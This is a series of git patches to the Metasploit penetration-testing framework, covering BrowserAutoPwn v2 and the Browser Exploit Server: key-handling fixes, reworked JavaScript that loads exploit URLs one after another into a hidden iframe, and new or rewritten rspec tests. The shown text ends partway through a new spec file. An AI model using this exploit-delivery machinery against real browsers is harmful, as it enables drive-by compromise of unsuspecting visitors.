"#{proto}://#{srvhost}:#{srvport}#{get_resource}" print_status("Please use the following URL for the browser attack:") - print_status("BrowserAutoPwn URL: #{self.get_uri}") + print_status("BrowserAutoPwn URL: #{service_uri}") end From 188b15b17fa6f0f81e8879494f99e258be7c4cee Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 16:18:56 -0500 Subject: [PATCH 079/150] Fix the symbol vs string prob --- lib/msf/core/exploit/remote/browser_exploit_server.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index f07ec28166..1340a1e9e7 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -514,8 +514,10 @@ module Msf try_set_target(profile) bad_reqs = get_bad_requirements(profile) if bad_reqs.empty? + browser_info = profile.values.first + browser_info = browser_info.inject({}){|data,(k,v)| data[k.to_sym] = v; data} begin - method(:on_request_exploit).call(cli, request, profile.values.first) + method(:on_request_exploit).call(cli, request, browser_info) rescue BESException => e elog("BESException: #{e.message}\n#{e.backtrace * "\n"}") send_not_found(cli) @@ -574,8 +576,8 @@ module Msf # @param browser_info [Hash] The target profile # @return [String] The payload def get_payload(cli, browser_info) - arch = browser_info['arch'] - platform = browser_info['os_name'] + arch = browser_info[:arch] + platform = browser_info[:os_name] # Fix names for consistency so our API can find the right one # Originally defined in lib/msf/core/constants.rb From fb8abe54fc6c87627cb703af86cdb749c2f96f26 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 17:52:40 -0500 Subject: [PATCH 080/150] This will continue loading the rest of the exploits --- lib/msf/core/exploit/browserautopwnv2.rb | 12 +++++++----- 1 file changed, 7 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 5e91af35a2..9e7e1e4efc 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -769,7 +769,6 @@ module Msf # Some Flash exploits don't seem to work well with a hidden iframe. js = %Q| - var currentIndex = 0; var exploitList = [#{exploit_list.map! {|e| "'#{e}'"} * ", "}]; function setElementStyle(e, opts) { @@ -797,13 +796,16 @@ module Msf e.setAttribute("id", "myiframe"); moveIframe(e); document.body.appendChild(e); - setTimeout("loadExploit(currentIndex)", 1000); + loadExploit(); } - function loadExploit(i) { + function loadExploit() { var e = document.getElementById("myiframe"); - e.setAttribute("src", exploitList[i]); - currentIndex += 1; + var firstUri = exploitList.splice(0, 1); + if (firstUri != '') { + e.setAttribute("src", firstUri); + setTimeout("loadExploit()", 1000); + } } | From a7fa434e896dc8ab52e59ef216117ccaf87d472e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 21:03:24 -0500 Subject: [PATCH 081/150] If exploit list is empty, have the option to return content --- lib/msf/core/exploit/browserautopwnv2.rb | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 9e7e1e4efc..ec9f74947b 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -762,8 +762,12 @@ module Msf end elsif exploit_list.empty? print_status("No suitable exploits to send.") - send_not_found(cli) - return '' + if datastore['Content'].blank? + send_not_found(cli) + return '' + else + return datastore['Content'] + end end From 4e058c942eace1a347162e29415e33363d385102 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 21:04:22 -0500 Subject: [PATCH 082/150] Fix typo --- lib/msf/core/exploit/browserautopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index ec9f74947b..38e90eee0d 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -629,7 +629,7 @@ module Msf # Logs a click that includes the suitable exploit list. # # @param [String] ip The target's IP address. - # @param [String] data (Optioal) CSV data that contains the exploit list. + # @param [String] data (Optional) CSV data that contains the exploit list. # @return [void] def log_click(ip, data='') report_note( From 7ca15f1ae13c5e60a6281e7aa30499bda88fa9d1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 21:06:20 -0500 Subject: [PATCH 083/150] Update select_payload doc --- lib/msf/core/exploit/browserautopwnv2.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 38e90eee0d..3c2894de04 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -428,7 +428,7 @@ module Msf # Returns an appropriate payload that's compatible with the module. # # @param [Object] m A module that's been initialized. - # @return [String] Payload name. Example: 'windows/meterpreter/reverse_tcp' + # @return [Array] Payload name. Example: 'windows/meterpreter/reverse_tcp' def select_payload(m) compatible_payloads = [] From ff39e32cc6697fcc6680eb0201b5c42b65795dd5 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 21:06:57 -0500 Subject: [PATCH 084/150] Single quote --- modules/exploits/multi/browser/autopwn.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 809eba0fb7..afecbfc00c 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('Content', [false, 'HTML Content', '']), OptAddressRange.new('Whitelist', [false, "A range of IPs you're interested in attacking"]), OptInt.new('MaxSessions', [false, 'Number of sessions to get', -1]), - OptBool.new("RealList", [true, "Show which exploits will actually be served to each client", false]) + OptBool.new('RealList', [true, "Show which exploits will actually be served to each client", false]) ] ,self.class) deregister_options('Retries', 'DisablePayloadHandler', 'ContextInformationFile') From ea33d7060ee1ab9c6b7bdc9da2871668f5dbaec1 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 21:07:27 -0500 Subject: [PATCH 085/150] Correct ranking --- .../exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb index 6c56be6d95..b040cd0391 100644 --- a/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb +++ b/modules/exploits/multi/browser/adobe_flash_uncompress_zlib_uaf.rb @@ -6,7 +6,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking + Rank = GreatRanking include Msf::Exploit::Remote::BrowserExploitServer From 4b6dcbb9d9edc040c7ce86683c6245a152a94324 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 5 Jun 2015 22:03:56 -0500 Subject: [PATCH 086/150] remove junk method --- lib/msf/core/exploit/browserautopwnv2.rb | 5 ----- 1 file changed, 5 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 3c2894de04..866e78d6e1 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -132,11 +132,6 @@ module Msf end - def stop_bap_job - $stderr.puts self.inspect - end - - # Cleans up everything such as notes and jobs. # # @see #rm_exploit_jobs The method for cleaning up jobs. From 07d1282afb44a4d5fde87f75d9dd5a1c9bcc7b07 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Mon, 8 Jun 2015 12:17:49 -0500 Subject: [PATCH 087/150] Correct file naming for better Ruby coding style --- .../core/exploit/{browserautopwnv2.rb => browser_autopwnv2.rb} | 0 lib/msf/core/exploit/mixins.rb | 2 +- 2 files changed, 1 insertion(+), 1 deletion(-) rename lib/msf/core/exploit/{browserautopwnv2.rb => browser_autopwnv2.rb} (100%) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browser_autopwnv2.rb similarity index 100% rename from lib/msf/core/exploit/browserautopwnv2.rb rename to lib/msf/core/exploit/browser_autopwnv2.rb diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 91024ae873..80afde7037 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -104,4 +104,4 @@ require 'msf/core/exploit/android' # Browser Exploit Server require 'msf/core/exploit/remote/browser_exploit_server' -require 'msf/core/exploit/browserautopwnv2' +require 'msf/core/exploit/browser_autopwnv2' From 1fe2361e128049712839cfb4101569d647425c28 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 9 Jun 2015 02:23:27 -0500 Subject: [PATCH 088/150] Add rspec for BrowserProfileManager --- .../remote/browser_profile_manager_spec.rb | 158 ++++++++++++++++++ 1 file changed, 158 insertions(+) create mode 100644 spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb diff --git a/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb new file mode 100644 index 0000000000..c048fd0ef9 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/browser_profile_manager_spec.rb @@ -0,0 +1,158 @@ +require 'spec_helper' +require 'msf/core' + +describe Msf::Exploit::Remote::BrowserProfileManager do + + + def mock_report_note(args) + # args example: + # {:type=>"blLGFIlwYrxfvcY.new_tag", :data=>"\x81\xB7blLGFIlwYrxfvcY.new_tag\x80", :update=>:unique} + @notes.each do |note| + if note.ntype == args[:type] + allow(note).to receive(:data).and_return(args[:data]) + return + end + end + + # No profile found + note = create_fake_note(args[:type], args[:data]) + @notes << note + end + + def create_fake_note(tag, data) + note = double('note') + allow(note).to receive(:ntype).and_return(tag) + allow(note).to receive(:data).and_return(data) + + note + end + + # When unpacked, this gives us: + # { + # "BAP.1433806920.Client.blLGFIlwYrxfvcY" => { + # "source" => "script", + # "os_name" => "Windows 8.1", + # "os_vendor" => "undefined", + # "os_device" => "undefined", + # "ua_name" => "Firefox", + # "ua_ver" => "35.0", + # "arch" => "x86", + # "java" => "1.7", + # "silverlight" => "false", + # "flash" => "14.0", + # "vuln_test" => "true", + # "proxy" => false, + # "language" => "en-US,en;q=0.5", + # "tried" => true + # }} + let(:profile_packed_data) do + "\x81\xD9%BAP.1433806920.Client.blLGFIlwYrxfvcY\x8E\xA6source\xA6script\xA7os_name\xABWindows 8.1\xA9os_vendor\xA9undefined\xA9os_device\xA9undefined\xA7ua_name\xA7Firefox\xA6ua_ver\xA435.0\xA4arch\xA3x86\xA4java\xA31.7\xABsilverlight\xA5false\xA5flash\xA414.0\xA9vuln_test\xA4true\xA5proxy\xC2\xA8language\xC4\x0Een-US,en;q=0.5\xA5tried\xC3" + end + + let(:profile_tag) do + MessagePack.unpack(profile_packed_data).keys.first.split('.')[3] + end + + let(:note_type_prefix) do + MessagePack.unpack(profile_packed_data).keys.first.split('.')[0,3] * "." + end + + subject do + mod = Msf::Exploit::Remote.allocate + mod.extend Msf::Exploit::Remote::BrowserExploitServer + mod.extend described_class + mod.send(:initialize) + mod.send(:datastore=, {'NoteTypePrefix' => note_type_prefix}) + mod + end + + let(:framework) do + framework = double('Msf::Framework', datastore: {}) + + notes = [create_fake_note("#{note_type_prefix}.#{profile_tag}", profile_packed_data)] + @notes = notes + + db = double('db') + allow(db).to receive(:report_note).with(kind_of(Hash)) { |arg| mock_report_note(arg) } + allow(db).to receive(:notes).and_return(notes) + allow(framework).to receive(:db).and_return(db) + + framework + end + + before(:each) do + allow_any_instance_of(described_class).to receive(:framework).and_return(framework) + end + + describe '#note_type_prefix' do + context 'when note_type_prefix is used' do + it 'raises a NoMethodError exception' do + expect(subject.note_type_prefix).to eq(note_type_prefix) + end + end + end + + describe '#get_profile_info' do + + let(:found_profile) do + end + + context 'when profile is found' do + it 'returns a hash with the profile' do + found_profile = subject.get_profile_info(profile_tag) + found_profile_key = found_profile.keys.first + found_profile_data = found_profile[found_profile_key] + profile_data = MessagePack.unpack(profile_packed_data).values.first + expect(found_profile).to be_kind_of(Hash) + expect(found_profile_data).to eq(profile_data) + end + end + + context 'when a profile is not found' do + it 'returns an empty hash' do + bad_profile_tag = 'bad_profile_tag' + found_profile = subject.get_profile_info(bad_profile_tag) + expect(found_profile).to be_kind_of(Hash) + expect(found_profile).to be_empty + end + end + end + + describe '#update_profile' do + + let(:key_to_update) { 'os_name' } + + let(:os_value) { 'Windows 7' } + + context 'when no profile is on the database' do + let(:new_profile_tag) { 'new_tag' } + it 'creates a new profile' do + end + + it 'updates data to the new profile' do + subject.update_profile(new_profile_tag, key_to_update, os_value) + expect(subject.get_profile_info(new_profile_tag).keys.first).to eq("#{note_type_prefix}.#{new_profile_tag}") + expect(subject.get_profile_info(new_profile_tag).values.first).to eq({key_to_update => os_value}) + end + end + + context 'when the profile is found on the database' do + it 'updates the profile' do + expect(subject.get_profile_info(profile_tag).values.first[key_to_update]).to eq('Windows 8.1') + subject.update_profile(profile_tag, key_to_update, os_value) + expect(subject.get_profile_info(profile_tag).values.first[key_to_update]).to eq(os_value) + end + end + end + + describe '#init_profile' do + context 'creates a tag is provided' do + it 'creates a new profile' do + expect(@notes.length).to eq(1) + subject.init_profile('new') + expect(@notes.length).to eq(2) + end + end + end + +end \ No newline at end of file From ed69e5f90273769c2b6bc0a614887085425cbbc5 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 9 Jun 2015 23:45:41 -0500 Subject: [PATCH 089/150] Redo BES rspec --- .../remote/browser_exploit_server_spec.rb | 437 +++++++++--------- 1 file changed, 209 insertions(+), 228 deletions(-) diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 7c36728eed..74a3620147 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -1,53 +1,84 @@ -require 'spec_helper' +#require 'spec_helper' require 'msf/core' describe Msf::Exploit::Remote::BrowserExploitServer do + # When unpacked, this gives us: + # { + # "BAP.1433806920.Client.blLGFIlwYrxfvcY" => + # { + # "source" => "script", + # "os_name" => "Windows 8.1", + # "os_vendor" => "undefined", + # "os_device" => "undefined", + # "ua_name" => "Firefox", + # "ua_ver" => "35.0", + # "arch" => "x86", + # "java" => "1.7", + # "silverlight" => "false", + # "flash" => "14.0", + # "vuln_test" => "true", + # "proxy" => false, + # "language" => "en-US,en;q=0.5", + # "tried" => true, + # "activex" => [{"clsid"=>"{D27CDB6E-AE6D-11cf-96B8-444553540000}", "method"=>"LoadMovie"}] + # }} + let(:first_packed_profile) do + "\x81\xD9%BAP.1433806920.Client.blLGFIlwYrxfvcY\x8F\xA6source\xA6script\xA7os_name\xABWindows 8.1\xA9os_vendor\xA9undefined\xA9os_device\xA9undefined\xA7ua_name\xA7Firefox\xA6ua_ver\xA435.0\xA4arch\xA3x86\xA4java\xA31.7\xABsilverlight\xA5false\xA5flash\xA414.0\xA9vuln_test\xA4true\xA5proxy\xC2\xA8language\xC4\x0Een-US,en;q=0.5\xA5tried\xC3\xA7activex\x91\x82\xA5clsid\xD9&{D27CDB6E-AE6D-11cf-96B8-444553540000}\xA6method\xA9LoadMovie" + end + + let(:default_note_type_prefix) do + MessagePack.unpack(first_packed_profile).keys.first.split('.')[0,3] * "." + end + + let(:first_profile_tag) do + MessagePack.unpack(first_packed_profile).keys.first.split('.')[3] + end + + let(:first_profile_info) do + MessagePack.unpack(first_packed_profile).values.first + end + + let(:cli) do + sock = Rex::Socket::Tcp + allow(sock).to receive(:peerhost).and_return('0.0.0.0') + allow(sock).to receive(:peerport).and_return(4444) + sock + end + + def create_fake_note(tag, data) + note = double('note') + allow(note).to receive(:ntype).and_return(tag) + allow(note).to receive(:data).and_return(data) + + note + end + + + before(:each) do + allow_any_instance_of(described_class).to receive(:vprint_status) + @notes = [create_fake_note(first_profile_tag, first_packed_profile)] + end + subject(:server) do mod = Msf::Exploit::Remote.allocate mod.extend described_class - mod.send(:initialize, {}) + mod.send(:initialize) + mod.send(:datastore=, {'NoteTypePrefix' => default_note_type_prefix}) mod end let(:service_double) do service = double('service') - service.stub(:server_name=) - service.stub(:add_resource) + allow(service).to receive(:server_name=) + allow(service).to receive(:add_resource) service end - let(:expected_user_agent) do - 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' - end - - let(:profile_name) do - 'random' - end - - let(:expected_os_name) do - 'linux' - end - let(:exploit_page) do server.instance_variable_get(:@exploit_receiver_page) end - let(:expected_profile) do - { - :source =>'script', - :os_name =>'Windows XP', - :ua_name =>'MSIE', - :ua_ver =>'8.0', - :arch =>'x86', - :office =>'null', - :activex => [ {clsid: '{D27CDB6E-AE6D-11cf-96B8-444553540000}', method: 'LoadMovie'} ], - :proxy => false, - :language => 'en-us', - :tried => true - } - end - before do Rex::ServiceManager.stub(:start => service_double) end @@ -58,7 +89,8 @@ describe Msf::Exploit::Remote::BrowserExploitServer do it_should_behave_like 'Msf::Exploit::JSObfu' - describe "#get_module_resource" do + + describe '#get_module_resource' do it "should give me a URI to access the exploit page" do module_resource = server.get_module_resource expect(module_resource).to include(exploit_page) @@ -67,127 +99,68 @@ describe Msf::Exploit::Remote::BrowserExploitServer do describe '#has_bad_activex?' do context 'when there is a bad activex' do - let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>false" } + let(:js_ax_value) { "#{first_profile_info['activex'][0][:clsid]}=>#{first_profile_info['activex'][0][:method]}=>false" } it 'returns false' do expect(server.has_bad_activex?(js_ax_value)).to be_truthy end end context 'when there is no bad activex' do - let(:js_ax_value) { "#{expected_profile[:activex][0][:clsid]}=>#{expected_profile[:activex][0][:method]}=>true" } + let(:js_ax_value) { "#{first_profile_info['activex'][0][:clsid]}=>#{first_profile_info['activex'][0][:method]}=>true" } it 'returns true' do expect(server.has_bad_activex?(js_ax_value)).to be_falsey end end end - describe "#get_bad_requirements" do - let(:rejected_requirements) do - server.get_bad_requirements(fake_profile) + describe '#get_bad_requirements' do + let(:this_profile) do + MessagePack.unpack(first_packed_profile) end - context 'when given the expected profile' do - it "should not contain any bad requirements" do - expect(server.get_bad_requirements(expected_profile)).to eq([]) + let(:requirements) { {} } + + before(:each) do + r = server.instance_variable_get(:@requirements) + requirements.each_pair do |key, value| + r[key] = value + end + + server.instance_variable_set(:@requirements, r) + end + + context 'when all requirements are met' do + let(:requirements) { first_profile_info } + it 'returns an empty bad requirement array' do + expect(server.get_bad_requirements(this_profile)).to be_empty end end - context 'when attempting to match :os_name' do - let(:fake_profile) do - { :os_name => expected_os_name } - end - - before do - server.instance_variable_set(:@requirements, {:os_name => /win/i}) - end - - it "identifies :os_name as a requirement not met" do - expect(rejected_requirements).to eq([:os_name]) + context 'when the os_name requirement is not met' do + let(:requirements) { {'os_name'=>'Linux'} } + it 'returns os_name in the array as a bad requirement' do + expect(server.get_bad_requirements(this_profile)).to eq(['os_name']) end end - context 'when attempting to match :ua_ver' do - context 'against version 25.0' do - let(:expected_ua_ver) { '25.0' } - let(:fake_profile) do - { :ua_ver => expected_ua_ver } - end - - before do - server.instance_variable_set(:@requirements, {:ua_ver => ua_ver}) - end - - context "with the regex /26\.0$/" do - let(:ua_ver) { /26\.0$/ } - it "should reject :ua_ver" do - expect(rejected_requirements).to include(:ua_ver) - end - end - - context "with the regex /25\.0$/" do - let(:ua_ver) { /25\.0$/ } - it "should accept :ua_ver" do - expect(rejected_requirements).not_to include(:ua_ver) - end - end - - context "with a Proc that checks if version is between 1-5" do - let(:ua_ver) { lambda{ |ver| ver.to_i.between?(1, 5) } } - it "should reject :ua_ver" do - expect(rejected_requirements).to include(:ua_ver) - end - end - - context "with a Proc that checks if version is between 20-26" do - let(:ua_ver) { lambda{ |ver| ver.to_i.between?(20, 26) } } - it "should accept :ua_ver" do - expect(rejected_requirements).not_to include(:ua_ver) - end - end + context 'when a Linux regex cannot match a Winodws os_name' do + let(:requirements) { {'os_name'=>/Linux/} } + it 'returns os_name in the array as a bad requirement' do + expect(server.get_bad_requirements(this_profile)).to eq(['os_name']) end end end - describe "#init_profile" do - it "should initialize an empety profile for tag 'random'" do - server.init_profile(profile_name) - ivar_target_profile = server.instance_variable_get(:@target_profiles) - expect(ivar_target_profile).to eq({profile_name=>{}}) - end - end - - describe "#get_profile" do - it "should return nil when a profile isn't found" do - server.init_profile(profile_name) - p = server.get_profile("non_existent_profile") - expect(p).to be_nil - end - - it "returns a profile if found" do - server.init_profile(profile_name) - p = server.get_profile(profile_name) - expect(p).to eq({}) - end - end - - describe "#update_profile" do - it "updates my target profile's :os_name information" do - server.init_profile(profile_name) - profile = server.get_profile(profile_name) - server.update_profile(profile, :os_name, expected_os_name) - profile = server.get_profile(profile_name) - expect(profile[:os_name]).to eq(expected_os_name) - end - end - - describe "#get_detection_html" do + describe '#get_detection_html' do it "returns the detection code that the client will get" do + expected_user_agent = 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)' html = server.get_detection_html(expected_user_agent) expect(html).not_to eq('') end end - describe "#on_request_exploit" do + + describe '#on_request_exploit' do it "raises a NoMethodError if called" do fake_cli = nil fake_request = nil @@ -198,130 +171,148 @@ describe Msf::Exploit::Remote::BrowserExploitServer do end end - describe "#get_target" do + describe '#get_target' do it "returns a target" do - # - # Using Object for Msf::Module::Target - # - expected_object = Object + expected_object = double('Msf::Module::Target') server.instance_variable_set(:@target, expected_object) server.get_target.should eq(expected_object) end end - describe "#try_set_target" do - it "Sets a target based on requirements" do - # - # This testcase needs to be better somehow, but not sure how to actually create - # a Msf::Module::Target. All we're able to test here is making sure the method - # doesn't raise anything by exercising the code. - # - server.instance_variable_set(:@requirements, {:os_name => /win/i}) - server.instance_variable_set(:@target, Object) - server.try_set_target(expected_profile) - server.get_target.should eq(Object) + describe '#try_set_target' do + let(:fake_targets) do + target = double('Msf::Module::Target') + allow(target).to receive(:opts) { first_profile_info } + [target] + end + + before(:each) do + allow_any_instance_of(described_class).to receive(:targets) { fake_targets } + end + + context 'when requirements match a target' do + it 'sets @target' do + expect(server.get_target).to be_nil + server.try_set_target(MessagePack.unpack(first_packed_profile)) + expect(server.get_target).to eq(fake_targets.first) + end end end - describe "#extract_requirements" do - it "finds all the recognizable keys" do - requirements = {:os_name=>"Windows XP", :ua_name=>"MSIE", :ua_ver=>"8.0"} - matches = server.extract_requirements(requirements) - expect(matches).to eq(requirements) + describe 'extract_requirements' do + context 'when a recognizable requirement is given' do + it 'returns a hash that contains the recognizable requirement' do + expected_hash = {'os_name'=>'Linux'} + expect(server.extract_requirements(expected_hash)).to eq(expected_hash) + end end - it "makes sure the keys are always symbols" do - requirements = {'os_name'=>"Windows XP", 'ua_name'=>"MSIE"} - matches = server.extract_requirements(requirements) - matches.each do |k,v| - expect(k.class).to eq(Symbol) + context 'when a unrecognizable requirement is given' do + it 'returns a hash that does not have the unrecognizable requirement' do + bad_hash = {'UNKNOWN_KEY'=>'VALUE'} + expect(server.extract_requirements(bad_hash)).to be_empty + end + end + end + + describe '#retrieve_tag' do + context 'when the browser has a cookie that contains our tag' do + let(:tag) do + 'tag' + end + + let(:cookie) do + "__ua=#{tag};" + end + + let(:cli_request) do + req = Rex::Proto::Http::Request.new + req.headers['Cookie'] = cookie + req + end + + it 'returns the tag from the cookie' do + expect(server.retrieve_tag(cli, cli_request)).to eq(tag) + end + end + + context 'when the browser does not have a tag' do + + let(:cli_request) do + Rex::Proto::Http::Request.new + end + + it 'returns a new one in MD5' do + expect(server.retrieve_tag(cli, cli_request)).to match(/^[0-9a-f]{32}$/) end end end describe '#on_request_uri' do - let(:cli) { double(:peerhost => '0.0.0.0') } - let(:cookie) { '' } - let(:headers) { {'Cookie' => cookie, 'User-Agent' => ''} } - let(:body) { '' } - let(:cookie_name) { Msf::Exploit::Remote::BrowserExploitServer::DEFAULT_COOKIE_NAME } - let(:request) do - double(:body => body, :headers => headers, :uri => server.get_resource ) + before(:each) do + allow(server).to receive(:get_profile_info) { MessagePack.unpack(first_packed_profile) } + allow(server).to receive(:init_profile).with(kind_of(String)) + allow(server).to receive(:update_profile) + allow(server).to receive(:process_browser_info) + allow(server).to receive(:send_response) { @send_response_called = true } + allow(server).to receive(:send_redirect) { @send_redirect_called = true } + allow(server).to receive(:send_not_found) { @send_not_found_called = true} + allow(server).to receive(:on_request_exploit) { @on_request_exploit_called = true } + allow(server).to receive(:on_request_exploit) { @on_request_exploit_called = true } end - before do - server.stub(:send_redirect) - server.stub(:send_response) - server.stub(:send_not_found) + after(:each) do + @send_response_called = false + @send_redirect_called = false + @on_request_exploit_called = false + @send_not_found_called = false + @on_request_exploit_called = false end - context 'when a new visitor requests the exploit' do - before { JSObfu.disabled = true } - after { JSObfu.disabled = false } - - it 'calls send_response once' do - server.should_receive(:send_response).once - server.on_request_uri(cli, request) - end - - it 'serves the os.js detection script' do - server.should_receive(:send_response) do |cli, html, headers| - expect(html).to include('os_detect') - end - server.on_request_uri(cli, request) + context 'when / is requested' do + it 'sends the information gathering page' do + cli_request = Rex::Proto::Http::Request.new + server.on_request_uri(cli, cli_request) + expect(@send_redirect_called).to be_truthy end end - context 'when a returning visitor requests the exploit' do - let(:body) { '' } - let(:tag) { 'joe' } - let(:cookie) { "#{cookie_name}=#{tag}" } - - before { server.init_profile(tag) } - - it 'calls send_redirect once' do - server.should_receive(:send_redirect).once - server.on_request_uri(cli, request) - end - - it 'redirects to the exploit URL' do - server.should_receive(:send_redirect) do |cli, url| - expect(url).to end_with("#{exploit_page}/") - end - server.on_request_uri(cli, request) + context 'when info_receiver_page is requested' do + it 'sends an empty page' do + info_receiver_page_var = server.instance_variable_get(:@info_receiver_page) + cli_request = Rex::Proto::Http::Request.new + cli_request.uri = info_receiver_page_var + server.on_request_uri(cli, cli_request) + expect(@send_response_called).to be_truthy end end - context 'when a returning visitor from a previous msf run requests the exploit' do - let(:body) { '' } - let(:tag) { 'joe' } - let(:cookie) { "#{cookie_name}=#{tag}" } - - before { JSObfu.disabled = true } - after { JSObfu.disabled = false } - - it 'calls send_response once' do - server.should_receive(:send_response).once - server.on_request_uri(cli, request) - end - - it 'serves the os.js detection script' do - server.should_receive(:send_response) do |cli, html, headers| - expect(html).to include('os_detect') - end - server.on_request_uri(cli, request) + context 'when noscript_receiver_page is requested' do + it 'sends a not-found' do + noscript_receiver_page_var = server.instance_variable_get(:@noscript_receiver_page) + cli_request = Rex::Proto::Http::Request.new + cli_request.uri = noscript_receiver_page_var + server.on_request_uri(cli, cli_request) + expect(@send_not_found_called).to be_truthy end end + context 'when exploit_receiver_page is requested' do + it 'calls on_request_exploit' do + exploit_receiver_page_var = server.instance_variable_get(:@exploit_receiver_page) + cli_request = Rex::Proto::Http::Request.new + cli_request.uri = exploit_receiver_page_var + server.on_request_uri(cli, cli_request) + expect(@on_request_exploit_called).to be_truthy + end + end + end describe '#get_payload' do - let(:cli) { - Rex::Socket::Tcp - } - before(:each) do - allow(cli).to receive(:peerhost).and_return('0.0.0.0') - allow(cli).to receive(:peerport).and_return(4444) + target = double('Msf::Module::Target') + allow(target).to receive(:arch).and_return(nil) + allow(server).to receive(:get_target).and_return(target) end let(:encoded) { '@EXE@' } @@ -330,25 +321,15 @@ describe Msf::Exploit::Remote::BrowserExploitServer do double(:encoded => encoded, :arch => ['x86']) } - let(:x86_64_payload) { - double(:encoded => encoded, :arch => ['x86_64']) + let(:normalized_profile_info) { + first_profile_info.inject({}){|data,(k,v)| data[k.to_sym] = v; data} } context 'when the payload supports the visitor\'s browser architecture' do it 'returns a payload' do allow(server).to receive(:regenerate_payload).and_return(x86_payload) - expect(server.get_payload(cli, expected_profile)).to eq(encoded) - end - end - - context 'when the payload does not support the visitor\'s browser architecture' do - it 'raises a BESException' do - allow(server).to receive(:regenerate_payload).and_return(x86_64_payload) - expect{server.get_payload(cli, expected_profile)}.to raise_error(Msf::Exploit::Remote::BrowserExploitServer::BESException) + expect(server.get_payload(cli, normalized_profile_info)).to eq(encoded) end end end - - end - end From 089579e3542b7e6bb51105803bf293f0914d54cc Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Tue, 16 Jun 2015 23:04:12 -0500 Subject: [PATCH 090/150] This is how much rspec I have so far for browser_autopwnv2_spec.rb --- .../core/exploit/browser_autopwnv2_spec.rb | 537 ++++++++++++++++++ 1 file changed, 537 insertions(+) create mode 100644 spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb diff --git a/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb new file mode 100644 index 0000000000..b724cef4cc --- /dev/null +++ b/spec/lib/msf/core/exploit/browser_autopwnv2_spec.rb @@ -0,0 +1,537 @@ +require 'msf/core' + +describe Msf::Exploit::Remote::BrowserAutopwnv2 do + + + + # + # Recreate the environment (framework, mixins, etc) + # + + + + def mock_note_destroy + # The destory method doesn't pass the note as an argument like framework.jobs_stop_job. + # So here's I'm just gonna clear them all, and that sort of mimics #destroy. + framework = double('Msf::Framework', datastore: {}) + + 